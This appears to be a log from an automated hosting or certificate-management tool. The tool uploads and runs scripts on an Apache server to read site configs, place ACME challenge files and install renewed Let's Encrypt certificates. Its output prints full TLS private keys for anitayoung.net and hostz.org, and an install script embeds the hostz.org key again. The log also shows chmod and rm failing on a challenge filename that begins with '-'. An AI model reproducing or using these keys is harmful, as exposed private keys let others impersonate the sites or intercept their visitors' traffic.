port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:00:35:
PUT: /tmp/pkp864820
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/anitayoung_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:00:35:
chmod 755 /tmp/pkp864820; /tmp/pkp864820; rm /tmp/pkp864820
2025-11-30 06:00:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf 1192
<VirtualHost *:80>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/anitayoung/www_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/anitayoung/www_secure_access.log combined
ErrorLog /var/log/apache2/anitayoung/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:00:35:
PUT: /tmp/pkp642786
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:00:35:
chmod 755 /tmp/pkp642786; /tmp/pkp642786; rm /tmp/pkp642786
2025-11-30 06:00:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt 5348
af:51:d5:ec:bb:e8:db:36:e7:a7:60:16:3f:8d:42:f9
-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBXYJOrNlNg3a3Osrr3uoP7uoMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjAxWhcNMjYwMjI4MDUwMjAwWjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKqVLxAqufDOOZw3nSVjaezjMkGbyGC9ZqCxpwCs9znTH8zyw7ehSVXEpqJDOJQ/
phiUUPKm+jMxY+qc8GPbrePsRtdjAiEPaF3Ecb2p8XDlDmWjy9uX2z6/yewJ6Kma
aUOePndrB1lC5SZAxac1OHo7uxNGraUPw3KRR6akSpmVZa2XA4vkEO75RQzKQnNI
NKZ83wb/zSl1ExcQhc6piZJAaFVRTyvbPurQW8wO8l2BCilt9KbFSCUDjfiwZ17U
tH5yIg20HcMZ7pl6+Wenvp6nIQmkEqLojdM+buWALVMAaml+8Eej3K09n6yPS3Mk
MPd4CCmbpAAGGG8VpUQDgAkCAwEAAaOCAh4wggIaMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUFpzCGbjsdRLMs8bt6MfT4z8Tts8wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5hbml0YXlvdW5nLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzQxLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AJaXZL9V
WJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmtNZPAIAAAQDAEYwRAIgZA1T
wkTKV4mzyUBYeFTWbL0w8CPoekirHK0DstjnP/YCIBU6EzZLjwCftD0Tu9M9LnBj
LsTobCeSkDDlvNv9EJm+AHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGa01lDuwAABAMASDBGAiEAzDZJtnLBYYz+e+b/etMWiwSlLvCqHzYQvNkD
35QokpICIQDXi0iXa6hrYYJpFTH5QBU6flAI7EXwjRsGJvoo2QcaWDANBgkqhkiG
9w0BAQsFAAOCAQEAZQTOApSM+cy4lUnaWIxcxHJM88qmtUlFibwDIwYJkRtk+Nso
WL5imQp92+BFteJtb9Uyz1cnTUJlS6WRl65YfAZyJxqJVwG7Di2orOitv9UnDRD3
HQncnMuKHLhPAAEBhPhDiTzQXpx328fHtVNQlnIa2cUC/HZGgQrFdB2jzVDgfImS
b1wKuLJc9mOKTJdGJg9wdBiBCmL/rUT1EoZbaAO3y1Q5nm5/5ai4iNv+DpP4WOUT
R5yWnr15D6OUAw2mHI3+3wF/UYBZFJg5SLAdGQQR/1SvlHqtbEW5+HWdPl+ytupd
YgkM44xMrGWfv+8u2qPwhG26R9saZtf6tnDxRQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqlS8QKrnwzjmc
N50lY2ns4zJBm8hgvWagsacArPc50x/M8sO3oUlVxKaiQziUP6YYlFDypvozMWPq
nPBj263j7EbXYwIhD2hdxHG9qfFw5Q5lo8vbl9s+v8nsCeipmmlDnj53awdZQuUm
QMWnNTh6O7sTRq2lD8NykUempEqZlWWtlwOL5BDu+UUMykJzSDSmfN8G/80pdRMX
EIXOqYmSQGhVUU8r2z7q0FvMDvJdgQopbfSmxUglA434sGde1LR+ciINtB3DGe6Z
evlnp76epyEJpBKi6I3TPm7lgC1TAGppfvBHo9ytPZ+sj0tzJDD3eAgpm6QABhhv
FaVEA4AJAgMBAAECggEASyg9uybIFAQYt+5863s4sWmMvAFyMMViUUzUouSSbMTL
jxYrC14hnItvS7DIXfEJMm0umSres+1/81/APo8Mt45jzARQbNaICkBCSOl2emJB
jKC1cgQfUi9YPQpEm21wEZ3IMf9TFo31vnvtWfWF870beKu8WCxw1aqS4iYixDWp
DbnBycSEFsyTyG03F85qLZNfj6KVeFTCLMbtyMSSPgM62o8lAiiwRKtrRykK1OC1
SoRydep/ygfMnHlL/za2ZVDMjCwxifGCKyuB9walYl7jtrhqtLoQq4UgalErl+m3
1jlzkoXlr3XPTzFRVVf/kEs5K117ULr0Epb/IPI/LQKBgQDhp14qmqOKyiO+lcEM
ah8un/ndYsm5R6Gt31K7+DEZwPv+ogOCD6rQRttTSP4PJ2eJgAhAhOv+mpMr96FS
iGO42NvcG5JPNU64fNjVjksnfuhgQZp4ydqOUv1iOjxRarl6cxYddHzIa1qIJ4Bo
ks0/4mwTiUgPHMBf/aXZwtDWYwKBgQDBhd+gVqXDi64qMI/Om26+jKfBAnriW8gd
FLGla3UDtikJVwLM5Qdje+5Ls2P+4dfXSZY+fRrVsg4XQ1Ti9EJ1b6MKi5MkFL+j
+IjhUwEAwocVfRyI14ytjt3i1hKlT502cjfDEg0lEpeucThEYqn4hJ2m69JmnYOL
IAxL6t21owKBgQDfPJehKFjwniecjURthrMQij1D8k5EmQPvIkcUJGZW5x+lehxk
WCGRaPfjvgtxbHc2hU4knhtmRv+f+JxFLR8SqJ9hcnldGQym4QQWyW26RgeX6m7q
Xi90q892lMxFc4LJC//t5ebo06O9nO6hBdI+CD8JWL/MC5KZpDKmat/1pwKBgDeI
KPGjq5F/ZYzpvnp1E8ROLF0wTv7hg30E0S08tqlH/mKVu1H8brBXgbvrUEh1mjBH
B3wK/kZP/8chJRyzJtb4H/sIrkJuScfNq8msvd7v8z9xVVzXLaEoG/fZoiQZwm07
PVEWvvriaPA/wPuurEOKGosppIiZroOfwKeQT+qtAoGBAMtKMdYyXdxBSemu/X1/
AejtMuuMIUee2Fm/aQWEpRqNfBwgNiMm3/uLNgbynPAveqRfLPKdxp1uhY+ujdy8
3G6gFaOu66tqIA0auuLTvev1X3iJcjsbc3MVEzADLzSNyKCKFGxYieb3Vg7RWBWa
OpC8gil2bhtBk6kSXZ2UZ0Ug
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-30 06:00:35: Establishing a connection
2025-11-30 06:00:35: Establishing a connection
2025-11-30 06:00:35:
PUT: /tmp/pkp654840
#!/bin/bash
if [ -d "/var/www/hostz_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-30 06:00:35:
chmod 755 /tmp/pkp654840; /tmp/pkp654840; rm /tmp/pkp654840
2025-11-30 06:00:35:
1
2025-11-30 06:00:36: Establishing a connection
2025-11-30 06:00:36:
PUT: /tmp/pkp261960
#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
cat > J1KO-vFmypbWOt80G5KN-8985TvzumXnSdj7feGLaW4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
J1KO-vFmypbWOt80G5KN-8985TvzumXnSdj7feGLaW4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 J1KO-vFmypbWOt80G5KN-8985TvzumXnSdj7feGLaW4
cat > -PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
-PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 -PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s
2025-11-30 06:00:36:
chmod 755 /tmp/pkp261960; /tmp/pkp261960; rm /tmp/pkp261960
2025-11-30 06:00:36:
chmod: invalid option -- 'P'
Try 'chmod --help' for more information.
STDERR:
chmod: invalid option -- 'P'
Try 'chmod --help' for more information.
2025-11-30 06:00:42: Establishing a connection
2025-11-30 06:00:42:
PUT: /tmp/pkp696834
#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
rm J1KO-vFmypbWOt80G5KN-8985TvzumXnSdj7feGLaW4
rm -PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s
2025-11-30 06:00:42:
chmod 755 /tmp/pkp696834; /tmp/pkp696834; rm /tmp/pkp696834
2025-11-30 06:00:42:
rm: invalid option -- 'P'
Try 'rm ./-PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s' to remove the file '-PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s'.
Try 'rm --help' for more information.
STDERR:
rm: invalid option -- 'P'
Try 'rm ./-PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s' to remove the file '-PIx6EuBF56CadNIJdi_hDzZjoqMu2bsLbhPIdPua3s'.
Try 'rm --help' for more information.
2025-11-30 06:00:42: Establishing a connection
2025-11-30 06:00:42:
PUT: /tmp/pkp383974
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d.crt
cat > $temp_file <<'endmsg'
d6:f9:75:c5:ec:14:95:86:da:f2:fb:8f:18:67:e9:9b
-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBTWVP2s5pTGYbLgF/b5bhSpBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjExWhcNMjYwMjI4MDUwMjEwWjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDHiwJp
U4M6ERZIF/YgbkEMz1sAbWjJJMCPBcZ3hiO5kHwgW79rNZRHem1mbSskBA126JdF
fVyEZ/hbfqwuTCR0/+aCXBYF1rluqHS/a/nZDXFqffZT1f5rAwtNoV2oocFbDE3/
9ymFa1Omw00FK0rZhewZZ+zEeK8/Q/StBoh9a4seBoE7PtNHBRTHo2rr/FLCyOoq
c30xFdrUnkGlSbo73+/XY85Dwmb/ZASvGxs8GdCAJUpMkBD3Rf63MWqIMJqjeBEr
0A2GG3quTS3t/CD5Q+RY26Eo5SteIFf/WpEVpdRCFMUOCw7GSxXfvmQCaMkU0G9B
X3d7K1SgbHGJWLtJAgMBAAGjggInMIICIzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FE35NeG3ynnGGKpCbcJ6yoPlyq8iMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJaG9zdHoub3Jngg13d3cuaG9zdHoub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTMuYy5sZW5jci5vcmcvNjYuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA
ZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGa01lioAAABAMARjBE
AiBePv9nAIyQ366I7QT3NtP95VzkQUPJxb5MrldDCRgMnAIgNV697WbUdR3jL6my
MfsadnS9fFlzKJn8UftLk7dcgLMAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0h
qSWsYcVOIQAAAZrTWWKiAAAEAwBHMEUCIQDHQzeRvDIvsKGqX3jRbV36djwz9CRp
KE8ZHwfwgMEk5gIgVmhDVnHdrqmIkHWiBt0GNd5j29rcGMqx4ESSu0O+2XEwDQYJ
KoZIhvcNAQELBQADggEBADKv1/B1BMpX9yCNVNSBHMkoREGkEHW6iWsEuPcwXmJP
dNSKlA6db5e6UeOT2YodmRc3kuX59EllMIAwv0Bj+jTS0OYpRRlB0NCpPkhl9dvc
yfWD7qyuF0Ub2ext8jqWSVZ6xZCr6FRp/D1RutDYksVSXSkC+r0fnwfeHGRCj9CK
aixOojqq2Cxk5niwjGWCKUzadV8nNwx7t3DnODPm+7NHlBK2iQMXqPePA/mURgTq
Q4uPwxAHDMAtPPRYHCro0C0/bsvDY2Hplm0Fa7sSGXnyeeocc2b07pC+4qCTb/2b
ME75huv6FoV+qWisqI6b3MLydrR+LUfSki0c0QI87j4=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHiwJpU4M6ERZI
F/YgbkEMz1sAbWjJJMCPBcZ3hiO5kHwgW79rNZRHem1mbSskBA126JdFfVyEZ/hb
fqwuTCR0/+aCXBYF1rluqHS/a/nZDXFqffZT1f5rAwtNoV2oocFbDE3/9ymFa1Om
w00FK0rZhewZZ+zEeK8/Q/StBoh9a4seBoE7PtNHBRTHo2rr/FLCyOoqc30xFdrU
nkGlSbo73+/XY85Dwmb/ZASvGxs8GdCAJUpMkBD3Rf63MWqIMJqjeBEr0A2GG3qu
TS3t/CD5Q+RY26Eo5SteIFf/WpEVpdRCFMUOCw7GSxXfvmQCaMkU0G9BX3d7K1Sg
bHGJWLtJAgMBAAECggEABl0OhKFfK/jjhwUMmlgpxujN9COJFfEQGv+KJsGmXgKX
ksiaQCcDRYxH9N5CY/GlJEeim1q2GpreNrzBbPCMsRaAGWQqZ6FDZJ4Gqxwcaame
FlFSC7ZlWLBOKfmdbQVLj0XDLwiI0HJtxoGv8RxCVNGKh/zidhmLLS9TnDj7HVTE
KCCIxhShN/cLuoZjAxrF5wZlDLm64d3Yq2gIRiDEyzBamWTTO9WxfFzKleq2BPtJ
EZiHSM685Fvp6pZNU+xc1o5TgpOciwSyb+BQRDEqZycjuWhljQHUE+XZmDVprrcY
3WwfZsTaZgmNe7s8KxgBcrwiresTkWK/1PRCw6seoQKBgQD8XUEstj3Zs0im9khf
lY167ELx2QNUuUZMWd2HZ58HZg7pE1ikMYqzb6Ju4EHxhJrtK287w2ByxvDjxfTX
SlIm65mTsrCRUcDGDZBL3VUSAjUw6JScHkjOa/J527K5xl3MPxtM+Kp60r9c02do
4ZADA+8NB8W4bMcZJPSIX+pNTQKBgQDKavHOMoUaVL6r2Wz792iYafZnpR/anXKl
G9xy7ubZi/AqEsBeqQJhPiUsoGOVDc/4C8Hz6jGdUcuj0pZ95rIEoa27V2yD93LH
qnHnJcpDGx/8npAmbmRgKgrl+KlTAcYAG9dRBemfHHZ3+OYPLRMC+WnoOGfViZNd
FJEthNJX7QKBgBjkGcmPMAqI5GGTaRAEcC/vnaq8/NcebxCYzIDOd6EDL/VNMzD+
se+A00ScWeS4b490+UOrwZeQh7HvlHannfK4yi0HMuMibSEbtV/GNN3R2e05A29i
jUvO2durD7XDGv1KPCcbX7U9lCJTt59goBOsD6f5XEcUc47HVlcdHr8BAoGBAKGl
JdT0ozaT1nCGAXJ18SFF/XBnfTin45XW2gUuo0u3ZOM0dkshzLS7XBR3QQ8XKK19
NjYDH/vyBh2dXnDMef0Y4BRrjE0WnqK0iqF8nDlawACM37DRF3d0G5/rI80V7XjI
wvoBLr/RiwnjylT0Oep2Iw0/fiwY4YXDluwy1YdBAoGAA2po4LhrUglJH8KSGHLy
yblDJmLEZZabqepXHmn+p0IcZ+rGvGH0CrwghK2YRkqKxSASVeuprT0GjZyAozi9
TAhihfdS8a8h+silT7hufP9OigvFj3dqpfHN9TYgmSkh7WRxZyCmJpk8e61KjlNU
oZXAduQkJx9j+ERFkjWs6v4=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-30 06:00:42:
chmod 755 /tmp/pkp383974; /tmp/pkp383974; rm /tmp/pkp383974
2025-11-30 06:00:42:
dir=/etc/ssl/certs
2025-11-30 06:00:42:
PUT: /tmp/pkp527513
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-30 06:00:42:
chmod 755 /tmp/pkp527513; /tmp/pkp527513; rm /tmp/pkp527513
2025-11-30 06:00:42:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf 37
<VirtualHost *:80>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_access.log combined
ErrorLog /var/log/apache2/hostz/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
